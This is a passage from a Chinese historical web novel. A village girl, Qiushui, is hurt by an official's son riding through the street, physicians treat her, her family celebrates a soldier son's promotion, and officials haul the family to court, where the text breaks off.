《秋水悠悠亦湍湍》
1. 伤势严重恐残疾
第二章伤势严重恐残疾
“先喝这个药,喝了就不痛了。”楚云照将麻沸散端到秋水面前温柔的说。
“好苦啊,我不喝”秋水尝了一口又吐了出来,挥手将云照挡开。
“快些喝就感觉不到苦了,喝口药来吃颗甜枣”。楚云照想这麻沸散,舅舅怎么不做一个甜的出来。
秋水就这样半哄半灌的吃了这麻醉汤,暂时停止了哭声睡了过去。
“舅舅,她的伤能治吗?”
楚知求看了一眼楚云照答到“左腿胫骨两处骨折,不过无碎骨,断面完整,接起来固定就好。我来将骨头复位,你来进行固定。”
楚知求想,这应该会是自己和云照最后一次一起行医救人了,未来的他们应该都会救治很多人,只是不在同一条路上了。
“是。舅舅”。
“这小孩怎么伤的?”楚知求皱眉看着楚云照问道。
“有人当街骑马,为首的好像是谢太傅的二儿子。”
“好在这孩子命大,避开了要害,不然莫说是腿了,就是这条命也难保了。”楚知求说。他心想皇帝目前正当壮年,这太傅家的儿子就这么猖狂了,以后岂不是要更加肆无忌惮。
过了快三个时辰,楚云照和楚知求才出来,秋水爹急得一直在院子里来回走。一看见楚云照出来就冲了过去急忙问道:“医师,我孩儿她如何了?”
“目前无大碍,脸部手部擦伤,一月至两月会愈合,腿部需得修养半年有余,且三年不能做重活和劳累。只是...,她还在长身体,若修养不好,这个腿可能会比另外一跳腿短上寸许。”楚只求看了一眼秋水爹。
秋水爹一听,脚软了一下往后跌了一步。“这可如何了得,是我害了孩子一辈子啊。”秋水爹楞神一会又对楚知求说:“医师,请全力救治我儿,我倾家荡产当牛做马也在所不惜。”
秋水爹把怀中揣着的钱一把塞给楚知求说道“我数了一下,里面是二十三两碎银,求神医一定治好我儿,若是不够,我再想些办法。”
“不用,今天是初一,本店会免除一人诊金,我这位好徒儿已经选了你了”。楚知求见许家父女的凄惨模样,一时不忍就免去了诊金。想着下一回去太傅家亲朋好友看病之时,一定给他收回来。
秋水爹一时哽咽,当即跪下给楚知求磕头:“谢谢两位神医了。”
“快请起,先随云照去取药.她还需要半个时辰才可以药效褪去才清醒,那时候会疼痛加倍,你到时候在其左右能安心一些。”楚知求虽是经常被救治的贫民行此大礼,但是他还是身感不适。
楚知求将秋水爹扶起,秋水爹起来后又擦了擦眼泪。心想前世自己究竟修了什么福缘,竟然遇见如此两个活菩萨。
楚知求拍了拍楚云照的肩膀:“别楞着了先带这位大叔去领药,再去厨房看看应该还剩一些包子馒头之类。再回来到书房找我,我有事和你详谈。”
楚云照点了点头,先将秋水爹带去找了李松,让其给秋水爹拿药。自己便向又后厨走去。
楚云照勉强吃下了个肉包子,给秋水父女两一人拿了两个肉包子,秋水爹坐在秋水的床头默默叹气着,秋水眼睛砸吧砸吧的望着爹爹。看着楚云照来了,立马喊了声:“哥哥,我要多久好啊”
“还疼吗?”楚云照将秋水扶了起来。
“刚刚好疼,现在不疼了,我是不是快好了?”秋水眨巴眨巴着眼睛问着楚云照。
“应是麻沸散药效还未全退,许大叔,我拿了些糖。过些时候秋水麻药散了,开始疼了就喂她些。”
“先吃饭把,吃饱了就好的快”。楚云照给秋水递了个包子,又秋水爹也递了一个:“还是先保重好身体吧,我本来今天送你们回去的,但是现在天色晚了,又未租到马车。怕路上颠簸加重伤情,你们先在这里将就一晚,伙计等会回来送被褥”。
“谢谢小神医。”秋水爹在衣服上擦了擦手,双手接过楚云照的包子。
秋水到底还是小孩,虽然是受了伤,但是胃口还是很好,吃完一个立马就又要了一个。
楚云照又给了秋水一个说到“你慢慢吃要是还饿,我再去拿。”
秋水说:“我饱了,可这个包子好好吃。”
楚云照摸了摸秋水的头笑了笑:“好吃就好,等会伙计会来送饭送被子,你们吃了将碗放置到桌子上就有人收了,明日我送你们回去。我先告辞了。”
秋水爹将包子放下擦了擦手,站了起来:“谢谢神医了。”望着楚云照出了门才又坐下。
夜晚,楚云照到了楚知求的书房,敲了敲门。
“进来吧!”
“继续研究岐黄之术还是去高登庙堂?”楚知求见楚云照进来了后问道。
“想好了”楚云照意志坚定,语气严肃。
“研究岐黄之术?以后继承我济安堂?”楚知求笑了一笑,摸了摸胡子。楚知求知道楚云照心中所想,但就是想逗他一下。
楚云照摇了摇头。
楚知求哈哈大笑:“我还以为用我济安堂做筹码,你能回心转意呢。”
“舅舅的大恩大德,侄子这辈子没齿难忘。”楚云照一边说一边双手抱拳,向楚知求鞠躬了一下。
“那为何不肯给我跟我行医,我这济安堂比不上朝堂宽阔。”
“是,我今日救了一人,可他们不知道要用那20多两银子践踏多少人的姓名,今日这个我救下了,来日严重一些的我怎么救?当场毙命的我又该如何救?学医救不了这个世道。只有改变这个世道,才能求生”
“当官就可以了吗?”
“我不知道,但是我去,可少一个病害。”
“若心中有路,你便随心而行吧。”
“多谢舅舅,我先回去了”
“走吧”。楚知求在楚云照走后,也迈着沉重的步伐回了房间。好不容易想要的有天赋继承人不干跑路了实在是郁闷。
楚知求回房间,看见自己的妻子金千缕在桌前看着几副刺绣,一边看,一边不停的叹气,楚知求疑惑问到“你这是如何?你鲜少皱眉,今日怎的唉声叹气。”
金千缕又叹了一口气:“你我无子嗣,你有外甥云照,天资聪慧,可继承衣钵。可我竟寻不到一位有刺绣天赋之人.”
楚知求说道:“云照乃天赋异禀,你我若得一蠢材这当如何?”
“我两怎么得个蠢材。”金千缕怒气腾腾的瞪着楚知求。
“娘子对我如此自信,不如。。。”楚知求一边拉了拉金千缕的衣袖。
“老不正经,都说你是神医,我看你是神棍.”金千缕看他这泼皮样子甚是不喜,将袖子一甩。
“娘子说笑了,神棍亦如神。就是我出神入化的骗人技巧才将娘子哄回家中。”楚知求想着,千缕这么多年还是这个直脾气,只会说这几句硬气话。
金千缕被这无奈样子逗得一笑:“不与你这歹人争辩,云照近期可有所麻烦,怎日日见他都不甚高兴。”
楚知求叹了口气把今日之事说给金千缕,金千缕听的一气拍了一下桌子:“这群道貌岸然的狗贪官,竟做些伤天害理的事。”
楚知求见金千缕如此生气,连忙给金千缕倒了杯水,说到“娘子都已年过三十,脾气也该收敛些,莫要伤者身子。”
金千缕一哼“夫君若是嫌弃红颜老了,便去讨一个小吧。”
“何处小?只有你夫君的心眼小,你夫君此生心中,只愿有你一人。”
“夫君不怕此生无后,百年之后无颜买面见祖先。”
金千缕心中总是觉得楚知求心中会埋怨无后,所以常是言语试探楚知求。
“云照就是楚家之后,倒是娘子你,金家独女,可要再招一个上门女婿,给丈人续个血脉。”
楚知求心中并不在意有无儿女,只想济安堂有人接替,自己的医学本领有人传承。至于孩子,他并不在意。
金千缕一扁嘴,给楚云照肩膀就是一掌说:“就你嘴贫。”
“娘子莫要生气,若得儿女,可皆无本领更是麻烦。若你我在绣坊与医堂之中,选上两位有本领之人,岂不妙哉?”
“你说得也有几分道理,可你我无子,人家岂不会怀疑你医术略有欠缺。”
“娘子多虑,前几日还听徒儿李松说道。外面流传我为将家中财产留于云照。下药致使你不孕。”
“莫要胡说,早些休息吧。”
金千缕无奈说到,这老不正经的真是什么话都说的来。
第二日辰时,楚云照带着一辆马车停在了济安堂的门口,招呼了两个小伙计将秋水抬到了马车上。
“小神医,我到车外指路,秋水就麻烦你照看着了”秋水爹对楚云照说完之后便坐在了外舆给车夫指路。
“大叔不必如此,叫我云照就好了。”楚云照认为自己实在是不配这个称呼,一是自己选择不学医了,二是自己的医术确实也平平。
秋水在车上颠簸了会就睡了过去,直到到家,楚云照才轻轻将秋水唤醒。
秋水爹跳下车正打算喊秋水娘和春林出来,还未出声,便看见秋水娘朝着门口跑来。秋水娘看着门外这个马车心里就是一怔,心想“可别真是出事了吧”虽
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然目前这个情况已经了然了,但还是不敢相信的向秋水爹问道“秋水呢?”
“在车上,将春林喊来,一同将秋水抬入房间。”
秋水娘差点没直接瘫倒在地上,又看有外人在硬是强撑着。进去房间喊春林过来。春林过来也是一愣,掀开马车门帘。秋水看见哥哥本是缓和的情绪又一下没收住开始哭了起来“哥哥,哥哥,我的糖葫芦不见了”
春林一懵,昨日还蹦蹦跳跳的妹妹,今日腿被木棍绑着,像个粽子,手上也裹着绷带,脸上涂着些黄色药膏,隐约可见一些擦伤的痕迹。
春林想把妹妹一下抱下去,云照看见了连忙拦着。
“莫要着急,她昨日腿伤严重,不得如此。你先将担架尾部拉出去马车,我在将前头抬出去。”
春林望向那人连说:“多谢小郎君提醒”
秋水哇哇的哭着,秋水爹在一旁说:“春林小心点,莫要再伤者妹妹。”
秋水娘听见这个哭声又跑了出来,看着秋水,心中愤恨又带有几分失而复得的惊喜。
秋水娘看见秋水伤成这个样子又是心疼,又为秋水还好命还在感到欣慰。连忙去厨房拿了一个馒头给车夫说到:“辛苦你了,我今早刚做的,先吃些垫垫肚子”。
车夫道了将手在衣服上擦了又擦才接过秋水娘的馒头:“多谢夫人。”
楚云照送完秋水,又回到了马车上将药给秋水送去。
“此罐装的是舒颜膏,脸上伤口一日涂一次,待到腿上绑带拆了,结痂了也用此物。全身伤口半个月伤口不许遇水,这些药物一天服用一次,三碗水小火慢煎,三碗水煎至一碗水.饮食要多吃些鸡蛋肉类,但不可辛辣过咸”。
“记住了,多谢楚公子”秋水爹说。
秋水娘忙问“楚公子可吃些早点?”
“我还需要早点赶回济安堂,我先告退了。”
楚云照作了一揖之后,后退几步再向外走了去。
秋水娘连忙走去厨房拿碗盛了一个馒头,硬赶在楚云照上马车前递给了他说到“劳烦楚公子了,家中贫寒,唯有早上新做的馒头,希望楚公子吃上几口。”
楚云照拒绝不下,拿起了那个馒头咬了一口说到“多谢大娘。”
秋水娘见楚云照拿着吃了,才后退几步。楚云照这才跳上车,楚云照在车上想着“为何这世道总是对好人家偏是不公”。
秋水娘看着楚云照的马车远去之后回到了屋内,秋水躺在床上正拿着馒头吃着,春林拿着水在旁边生怕秋水噎着。秋水爹坐在一旁的椅子一言不发。
秋水爹心想“都怪自己无用,才让自家孩子受此等苦楚。都是自己造孽,怎么不是自己躺着床上。”
秋水娘本来要向秋水爹发火,细看之下,才发觉秋水爹手上也是缠着绷带。到底是心里一软,没好说硬话,只是带着哭腔问道:“你怎也是一身伤回来?”
秋水爹将怀中包裹掏出放到桌上,又叹了一口气把怎么受伤,又怎么样被楚云照所救,免除了诊金这些事一一说明。
秋水娘听了这些话,心疼的要命,眼泪不由自主的冒了出来。秋水看见母亲流泪,慌张了起来。
“娘,我没事的,现在已经不疼了”
“没事就好没事就好,都怪爹娘没用,我们不是个有权势的”秋水娘听着这句话,又把眼泪擦了擦。
秋水摇了摇头:“是秋水不好,我不应该想去街上的。”
秋水爹一句话都说不出来,大儿子去战场,小儿子在家帮忙,这最小的孩子是放心里疼的,怕摔着怕碰着,什么活都不让干,偏偏带出去这么一会,就伤成了这样。秋水又是个这么懂事的孩子。秋水爹就想怎么躺着的不是自己。
天色渐渐暗了下去,平时院子里,秋水和春林总要打闹几个来回,今夜天色一暗,院子里所有东西好像都随着太阳滑到了地底下,一片寂静,
秋水娘辗转反侧的睡不着,秋水爹也是。秋水娘说到“怎么这个祸事就到我们头上了呢,是我们平时不够积德行善吗?”
“怪我,是我没出息”
“怎么能怪你呢,你也是一身伤回来了,我怎还能再怪你。”
“你怪我吧,若不怪我还能怪谁呢?”
“怪这老天爷不给我们活路啊。”秋水娘说完呜呜得哭着。
秋水爹不知道如何去说,只在这心中想到“怪这老天爷吗?这老天爷是谁啊?何处能寻到啊?倒不如怪我,我好歹伸手可触碰,能被打被骂出口气,这口气出出来就好了,闷在心里更是一把利刃,一刀又一刀的,倒比我这外伤更是严重了。”
2. 柳暗花明又一村
秋水一家除了秋水,其余三人都眼巴巴等着天明,这夜太黑太静了,一点声响也发不出。等到天亮,可以做些事情,忙起来,才能稍微平静一些。
秋水爹娘看见外面稍有些光亮就起来了,秋水爹娘就早早起来了,出门看见春林也起来了。
“今日怎也如此早起”秋水娘心知春林也是同他们一般心情,但是还是鬼使神差的问出了这句话,她希望家里伤心的只有他夫妻二人就够了。
“秋水昨日说,原先也给我带了一支糖葫芦,但遗失了。我见她有些难过,便想今日早些去集市再给她买回。”
“确有此事,但此事也天色尚早,你再去休息一个时辰也不晚。”水爹见春林如此回答便又问道。
“爹,秋水伤势如此严重,我将木雕和绣品拿去卖一下,以备秋水看医所用”。春林略露一些尴尬的面色,不过幸好天色还早,秋水爹娘未看的清。
秋水爹为春林的懂事而欣慰,又为自己的无能而惭愧,话在喉咙打转了好几回,最后只吐出一句:“你先吃过早饭,随你王叔家的牛车一起出发吧”
“我现在开始出发,走过去差不多时辰。”春林不想与同村的人一起,怕村里人询问自己秋水和爹目前如何,自己不敢搭话。
秋水爹惊讶于孩子的懂事,不知道该说什么,秋水娘看着这爷两心里更是难受,就对秋水爹说“按孩子愿意的来吧。”
“你就随孩子心愿吧,春林,先吃口饭在走吧。”秋水爹面带恳求的对春林说道。
“我带上两个馒头就好。”春林看着爹不如往日那版精神,心中更是气愤,也不想惹爹在生气,就顺着爹的意思去厨房拿了两个馒头。
秋水娘看着春林走远了对秋水爹说道:“无无责怪你意,你也莫起自责之心。你需要得早日振作,家中还要靠你操劳。”
“苦了你了。”秋水爹听到这话,双手握着秋水娘的手,眼泪婆娑的说。
“二十来年了,也就遇此一会难,无需太过在意,日子还得继续过。”
秋水爹用袖子擦了擦眼泪,望着秋水娘连续哎了几声。
秋水娘抹了抹自己的眼泪又抹了抹秋水爹的眼泪说道:“秋水尚小,不会记事。我们好生照料着,她好了,以后便也好了。”
秋水爹忙点了点头,秋水娘看秋水爹缓和不少又笑道:“你快去先洗把脸,我去弄些饭。等会让秋水看见了像些什么样子。”
秋水爹点了点头去打水洗脸了。秋水娘去准备了些今天的吃食。
不同家里其他人,整宿没睡觉,眼巴巴的等天明。秋水到是一睡睡到了午时,秋水爹还去探了几回鼻息。
秋水醒来看见太阳当空,本想出去寻爹娘和哥哥,秋水却发觉自己起不来身,于是便大喊“娘,娘,娘?”
“娘来了,娘来了。你可是饿了还是渴了?”秋水娘听见声音一边回答一边往秋水房间里跑。秋水爹听见秋水的声音,也跟着跑了过来。
“见你们都不在,我有些心慌。”
“不怕不怕,爹和娘就在院中。”
“娘,我现在有些饿了。”
“我这就去拿饭。”秋水爹说完,便向厨房快步走去。
今早起床的时候,秋水爹就为了给秋水补身体宰了一只鸡煲汤,秋水一直没醒,就一直温着。还给秋水打了一个床上吃饭的座子。秋水娘将秋水扶坐了起来,秋水爹端来小桌子盛着鸡汤放置到了秋水面前。
“我可以一直在床上吃饭吗?”秋水对秋水娘撒娇的说道。
秋水爹敲了敲秋水的头,秋水娘给秋水盛了一碗鸡汤又夹了一个鸡腿,秋水笑嘻嘻的吃着。
“腿疼不疼?”秋水爹瞟见秋水的腿,又心疼的问了问。
“倒是不疼。就是腿上感觉一下鼓起来一下消下去的感觉。”秋水望着秋水爹懵懂的回答。
“孩子吃的正欢呢,你问这个作甚,秋水快吃。”秋水娘一边说,看见秋水刚吃完个鸡腿,又给秋水夹了一个鸡腿。
“哥哥呢,哥哥不吃吗?”秋水连忙把碗端开,不让秋水娘给鸡腿到碗里。
“哥哥有吃的。”秋水爹打着圆场。
“不行,我不要,这个腿留给哥哥。”秋水倔强的摆了摆头,态度坚决的说。
秋水爹哈哈一笑说道:“那好,留给哥哥。”秋水爹心想自己是哪一辈子修来的福气啊,竟有这么好的妻子和儿女。
吃完饭,秋水爹娘又各自忙活着自己的事情秋水在床上望着天花板发呆,听见门外好像有人来了,就仔细听着。
秋水娘看着外面的来客,体型较胖,头上戴着朵月季花,一件深蓝摸胸,外披一件玫红色短衫,下穿棉麻和裆裤外面在围上一件摸胸同色及膝的裥褶裙子,侧身背着一个蓝底红花的小包。脸上一股子喜庆的笑意。秋水娘忙招呼着迎进来,秋水娘说到。
“林媒婆,今日怎大驾光临。”
“许家嫂子,这不是听说秋水伤了腿,家里正好杀猪,这新鲜的肘子特意给秋水补补。”
“林媒婆,礼太重了,不敢收,你快些拿回去吧。”
林媒婆笑了一笑:“你我们还讲什么客气,今日我来呢,一则是看望秋水,还有一件事要同你说。”
“何事?”秋水娘满是疑惑,春林秋水都不到成婚的年级,春木远在边关,林媒婆到访能有何事?
“再过两月,中秋后一日,金记绣坊招收学徒,学成就直接去金记绣坊有份工作。金记绣坊名气之盛,在绣坊的女工,那说媒的,家里的门槛都要踏穿,婆家都得高看一眼的。你绣工了得,秋水必定不会差。”
秋水娘心想,是啊,秋水以后腿不知道能不能好利索,不好利索干不得重活,好利索了也不舍的她重活,学个技能有份工作好歹养活自己不用看人脸色,自己真是愚笨,也不好好教她一下。
秋水娘一下是感觉开阔了,拉着林媒婆说:“这确实为一件好事。”
“这事虽好,还是敌不过你儿升官,我也是来此为此向你道贺的。”看着许大嫂的反应,林媒婆心想,接下来的事必是十拿九稳了。
“此事为真?”秋水娘疑惑的看向林媒婆。
林媒婆听她这么说,疑惑道:“你怎得不知?我家儿子都写信说你儿子作战勇猛机智现在是个千户了,我儿子现在才是个十户,差个好几级呢”
“都说你林媒婆福气大,现在看来确实如此,我这心里头慌乱一天了,就看见你林媒婆一下就畅快了。”秋水娘心想“信”?昨天好像是有一副,但是忙起来忘记拆了,等会将林媒婆送走后,得赶紧拿给秋水爹看看。
“先别急着畅快,我这还有一事相求呢!”林媒婆望着秋水娘笑嘻嘻的说。
“您尽管说,求字言重了,我能办到的一定帮。”
“那我就直说了,你这几个孩子的媒能不能交给我?”
“我当何事呢,这都说不上求,谁不知道你林媒婆说媒在南河是数一数二的,孩子大了之后,都是我要去求您呢。”秋水娘心想,林媒婆这真是天下第一的媒婆,这么早就来预定了。
“那就成,秋水那孩子在哪儿呢,听说伤了腿,我去看看去。”林媒婆得了这句话,落了个实,踏实多了,想着再去看看秋水增增感情。
秋水娘忙带着林媒婆去看秋水,秋水娘在门口喊着“秋水,林大娘来看你呢,快问个好。”
“林大娘好。”秋水奶声奶气的说。
“造孽咯,这红扑扑的小脸蛋都伤了。”林大娘说完从身上挂着的小包中掏出一个手掌大黄油纸包着系着红绳的点心递给秋水说:“这是生糖糕,吃点甜食打发一下时间。”
“怎得这么客气,秋水快谢谢林大娘。”秋水娘略带责怪的语气对秋水说。
“谢谢林大娘~。”
“唉,这秋水惹人心疼啊。糕点记得吃,大娘先走了,下次再来看望。”
“秋水快给林大娘道别,林媒婆我来送送你。”
“林大娘再见~。”
“秋水真是懂事,你别送了,照看秋水吧。肘子记得炖给秋水吃。”
“多谢林媒婆的好意,我一定记得。”
“记的孩子媒让我说就好。”林媒婆一边走一边乐呵呵说。
“孩子大了都找你。”秋水娘也是笑着回答道。
秋水娘送完林媒婆之后赶紧去拿了那封信去找秋水爹看看。秋水娘问:“刚林媒婆说的你听见了吗?”
“倒是没太听清,何事?”秋水爹正忙着计算家里还有多少余钱,根本无心外面的声响。
“快看看这封信说了些什么。”秋水娘赶忙把信件递给秋水爹。
“这是春木寄来的啊,林媒婆送来的?”秋水爹一边说着一边把信拆开。
“你莫顾着自己看,给我念念。”秋水娘见
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秋水自己在看,不和自己说,一下急了对秋水爹说。
“啊,好好。”秋水爹正楞神中,被秋水娘喊了回来。
“爹娘弟妹,近来都安好否?虽近期两军有议和之兆,但双方摩擦仍是不少,敌军进攻反更多,攻击也更猛于之前,但我幸得祖先保佑,出入皆无所伤。又得长官赏识,升任千夫长。之前战时吃紧,未及时报的平安,望爹娘勿要担心。今日得升,则立即与爹娘分享喜悦之情,希望爹娘宽心。不知二弟如今学业如何,三妹可还调皮。祝爹娘身体健康,二弟学有成,三妹喜乐常在。儿春木敬上,大荣建昌三年六月十二。”
“好哇,好哇,老子无用又如何,儿子出息就好啊。”秋水爹满含热泪对秋水娘说道,好像昨日弯下去的腰又是挺直了。
“都是你的好种。”秋水娘一边抹着眼泪一边说。
秋水爹一把把秋水娘抱住大喊了三声:“好!好!好!”
夜色逐渐降临,春林也回到了家,秋水娘立马迎了上去,接过春林的包裹。说道:“今日有两个天大的好消息。”
“两个?天大的?”春木一脸疑惑,家中怎么还有天大好消息,居然还是两个。
“一个是你哥升了千夫长,一个是秋水刺绣天赋极高,我下午让秋水绣的这幅鸳鸯图,就给秋水讲解了一次,她照着样子就直接绣出来了,比我丝毫不差,这还是第一次绣的成果。”
“倒是不错。”春林接过绣品看了看说。
“大哥来信了?大哥有问到我吗?”春林好久未曾见到大哥了,心里甚是想念,又听见大哥是千夫长了,又害怕今日所做之事会对大哥有所影响。
“有,你看看。”秋水娘喜悦将信递给春林。
秋水爹喊着春林把饭桌搬到秋水房间里。
“今天还是没有比我先吃到糖葫芦哦,我今天又是先吃的。”春林拿着跟糖葫芦对秋水说。
“哥哥最小心眼。”秋水佯装生气的说。
“秋水啊,说着讨厌哥哥,中午还非不吃这个鸡腿,硬要留给你。”秋水爹看秋水在做戏,一边给春林夹鸡腿一边说。
“今天的我比哥哥先吃到鸡腿。”秋水笑嘻嘻的说。
“一次鸡腿而已,我有好多次糖葫芦先吃呢”春林好生心疼,妹妹伤成这样,还给自己留食。
秋水哼了一声。
“待到春木回来,家里必然更是热闹。”秋水娘说。
“大哥吗?我都忘记大哥是何摸样了。”秋水疑惑的看着秋水娘说。
“就你这个小脑袋,就记得吃。”春林轻轻敲了下秋水的头说。春林心想别说秋水了,自己也是快把大哥忘干净了。
“爹娘,哥哥嘴好坏。”
“哥哥确实坏,还欺负秋水,我给你教训回去。”秋水娘拿这筷子轻轻敲了一下春木的头说。
“今日你独自摆摊如何?”秋水娘对春林问道。秋水娘怕春林一个人受了委屈也不和爹娘说。
“今日我换了个位置,来往的人不多,没有卖出一件。”春林心虚的答道。
“以后这买卖的事情还是交给你爹,等私塾先生走远亲回来后就安心学习,大哥还问了你学业如何。大哥的恩荫也足够花销了,不必操心钱财。”秋水娘看春林情绪不对,想是因为没卖出去东西,心里不舒服。
“明日我想再试试。”
秋水娘知道春林脾气倔,于是没有表示反对,只说“那你去最后一次,以后还要安心读书。先吃饭,吃完给你们大哥写一封回信。”
秋水爹问道:“秋水春林,你们想与大哥说些什么?”
“想问大哥现在什么摸样,能否寄张画像回来。”秋水说。
秋水娘想了一想说:“这倒是难,想必是健壮了高了也黑了吧。春林,你想于你大哥说些什么?”
“说我学业认真但成绩平平吧,祝大哥平安即可,”春林思考了片刻对娘说道。
秋水爹提笔写到
“春木吾儿,见你来信,全家皆大喜。我与你母亲身体健康,无需担忧。春林学业认真但成绩平平,家中琐事也常有帮忙。秋水对你甚是想念,问你现在样貌有何变化。今日林媒婆上门询问你的未来大事可否交于她来说媒。你可有称心的姑娘可回信告知。
大荣建昌三年七月初八”
次日,春林去御街集市时交给信客,而后由信客送去给春木了。
3. 状告贼人反被污(一)
秋水娘在院子里打扫着,秋水娘看着这院子心里乐滋滋的。秋水娘想着当年刚与秋水爹成婚之时,只有正中间一间主屋和屋前左侧砌起来的一个土灶台。
主屋就摆了张床和桌子,灶台上面搭了个草棚,能够勉强遮阳挡雨。天气好就在院子里吃了,天气不好端菜进屋还得跑。冬天就在屋子里支个小炉子烤烤火,热热菜,靠这撑过一个冬天。
后面条件慢慢好起来,打了柜子,还在主屋后面建了一个同等大小的屋子,吃饭睡觉就总算是分开了。来年又得了春木,春木五六岁时,开始读书学字,又在房屋右侧建建了一个房间,当时给找村里最好的木匠,打了绳纹卷书桌,千秋书架,衣柜,床。家里越发喜气,又来了春林,秋水。
而后又在春木房间前侧在建了一间更大的房间,春木和春林一起住,秋水住原来春木的房间。秋水爹觉得外墙不太好看,又将秋水房间与主屋房间的夹角围起来,又将主屋右侧开了个门,秋水爹时常在里面做些木工活。
现在院子周边也都建立了围墙,灶台的草棚也找了砖瓦匠搭建了屋顶,又将其延长,下面刚好摆上个八仙桌,吃饭也不必狼狈躲避,冬日在主屋点火做饭也不必担心燎到被褥。
秋水娘静静想着这些年家里的变化,心里越发感到高兴,虽是世道不公,但也确实日子越发好了,尤其昨日还知晓春木升官了,孩子一个个大了,更是对未来有盼头。
秋水娘越想越发开心,乐滋滋的哼着曲儿,打扫的也不知疲惫。秋水娘预备着打扫完了,再去看看秋水的刺绣如何了。在给秋水按摩翻身活络一下。
一阵急促的脚步声传来,院中来了几个不速之客。“许有田,张明月,还有许秋水跟我们走一趟”
来者打破了院中安逸的氛围,也叫醒了秋水娘的美梦。
“不知我家这是犯了什么法?差爷可开口告知”
“大胆!官差办案,你等不服?”
“不敢,只是想请差爷告知究竟犯了何法?”
“不必多问,到了衙门就知晓了,将许有田还有许秋水都叫出来”
秋水爹听的前院吵闹立马出来看看发生了什么事情,只看见三个官差怒目圆睁,中间那位官爷,头戴三山冠,面无表情但不威自怒,体格较于其他两人也更显威武。身穿红色圆领罩袍,因是天气炎热,又用臂绳将衣束在背后。腰上套着一个黑色捍腰,右侧别着一把长剑,膝盖上系着札甲,脚穿乌皮靴。
右侧官爷,面色最为凶狠,也是这位官爷在与秋水娘交谈。未配长剑,一把长约四尺半的八棱骨朵锤,以双肩为支撑放于脖子之后,双手搭在八棱骨朵锤两端。
左侧官爷与右侧官爷衣饰一致,面色相较于前两位稍显和善,只是佩戴兵器略有不同,右侧腰挂箭囊,左侧要弓囊。
”小民便是许有田,一定配合官爷办案,可是我家小女秋水昨日腿伤了,不能动弹,她不过一个小孩子,是否能留于家中“
”大胆,官差办案,莫说是残了,就是死了也得给我抬过去“
”官爷你为何如此说话,小民都是本分人“
”本不本分的你说了不算,到衙门里去听县尉说“右侧差爷边说边向天作了一揖。
秋水爹气急,但又不敢反驳,只得带着这几位差爷去了秋水房间,秋水正在刺绣,看来人,停下了手中得活。望着爹娘不知所措了起来,想要躲到娘亲怀里,可是自己又无法动弹,就拉着身旁得被子扯来挡住了脸。
马家骄心中一紧,听说是太尉家的儿子御街起码撞伤了人,原来是个八岁的小孩,自家的儿子差不多也是这么大。本来也看不惯这群狗官了联合起来欺压平民,但为混口饭吃,也是不得不妥协。
原先右侧得那位官爷,一个箭步向前将被子扯了开,秋水被吓得哇哇大哭,秋水娘赶紧上前保住秋水”别怕别怕,爹娘在“
“牛大旺,这不过就是个孩子”中间的那位官爷呵斥道
“骄爷,这种刁民不用客气,就该教训,县尉可说了,这些人都要带去”
“传文,你帮衬一下,将这个小姑娘抬上牛车”那骄爷的对左侧的官爷说到
“是,骄爷”
秋水娘见事情无可商量,拿了床草席垫在车上。秋水爹将秋水缓慢的抱了起来,让秋水娘护着腿。
“就不劳烦官爷了,我和娘子将秋水抱过去就好”
张传文听这么说,也未反驳,只跟在其后。
“许家夫妻照顾孩子坐马车之上,传文你来驾车,牛大旺与我在车后跟着。”
“为何?让那许有田在后面跟着。”
“不可,许有田是县尉必须要带去县衙的事人,不得有所闪失,莫非你认为你比县衙的案件重要。”
“不敢”,牛大旺听见这么说不知如何反驳,只是啐了一口,便是跟着上路了。
出发之时刚过辰时,今日的太阳也甚是毒辣,“娘,好热,好热,好渴”,秋水不停哼唧着,汗水不停的流着。秋水娘不停的给秋水用衣袖擦着汗水。秋水娘害怕这些汗沁道伤口中更是加重伤情。
秋水爹娘也是满头大汗,口燥舌燥,但是又是大人,也说不得些抱怨的话。秋水爹将外衫脱了下来让秋水娘将外衫的前部盖在头上,尾部盖在自己头上。秋水爹娘一左一右正好是给秋水搭了一个遮阳篷。
秋水娘,拿的长衫袖子给秋水扇着风。秋水也在车上缓缓的睡着了。
“歇一歇吧,孩子都睡了”秋水爹昨日刚恢复的心态,今日又被击了个稀碎。
秋水娘没有回话,秋水娘一半是担心孩子热中暑了,一半又是实在是不给自己找点事做,这一路太煎熬了。
未时一刻,终于是赶到了衙门。马家骄将秋水一家先领至大堂。
秋水娘跟着马天娇的身后朝里面走,进入大堂最外侧有一群围观的百姓,马家骄在前在围观的百姓之间开路,秋水爹抱着秋水,秋水娘护着腿跟着后面想前走。传文在身后抱着秋水娘之前拿上马车的草席,一边防止围观的百姓撞到秋水,一边向前走去。
“1,2,3,4,5”“秋水娘在心中数到,大堂两侧各站有五个拿着杀威棒的衙役,秋水娘抬头一看,县尉在堂中坐着,面前一张红木桌子,手里拿着惊堂木,县尉左右两边各站一个拿杀威棒的衙役。
文吏在大堂右侧靠门的地方坐着,一直在提笔写些什么。
县尉与文吏之间还坐着一个年轻后生,衣着华丽,头戴金冠,身穿宝蓝提花暗纹圆领袍子,腰细带玉皮制革带,手握青篦扇。一脸的得意与不屑。
秋水娘走进入大堂看见春林也在堂下,事情已经猜了个三分,看着春林只是叹了口气。春林旁的中年人到是不识,不过秋水娘也不想细想,先将秋水放下才是目前重要的事。见传文官差将草席铺好,秋水爹缓慢将秋水放下,又担心地上凉,将自己的外衫盖在秋水身上。
此时,县尉猛一敲惊堂木,秋水娘吓得身体一颤,秋水爹也险先一踉跄。秋水爹将秋水安置好抬头正见县尉头上高挂“明镜高悬四个大字”,县尉两侧木头刻有一对联“少造一冤一枉乃为官之道,多索一分一厘是祸国殃民。”秋水爹看着着这幅对联,感觉在这三伏天,身上竟冷的发颤。
秋水爹注意道首饰店张老板和自己儿子春林也在一旁心想”造孽啊,怎得还把张大哥连累上了“。堂下之人各有各愁,堂上之人各有各得诡计。
“大人,人已带到。天气炎热,可否先让其饮些水在做审问。”马家骄见秋水是个讨喜的小娃娃又受那么严重的伤,有些不忍心,但想自己人微言轻,做不得什么大事。就想为那小娃娃讨口水喝。
县尉本想不允,但又想,不让喝水也讨好不了谢太傅,而且还驳了马家骄的面子,今后办事就不太方便了。
“那劳烦马班头弄些水来,等这几位喝了,我在做审问。”
片刻,马家骄右手提了一桶水,左手拿着三个敞口土碗。他将土碗摆到地上,抬起水桶给倒了三碗,将一碗水递给秋水爹说“先谢过县尉再喝”。
“小民谢过县尉体恤百姓”秋水爹忙收回接水的手,转头对县尉说道。县尉只是摆了摆手,脸色甚是不悦。
秋水爹接过水,往春林身边走去。
“反了天了,还送上水了,当在酒楼饮酒作乐呢”县尉看此
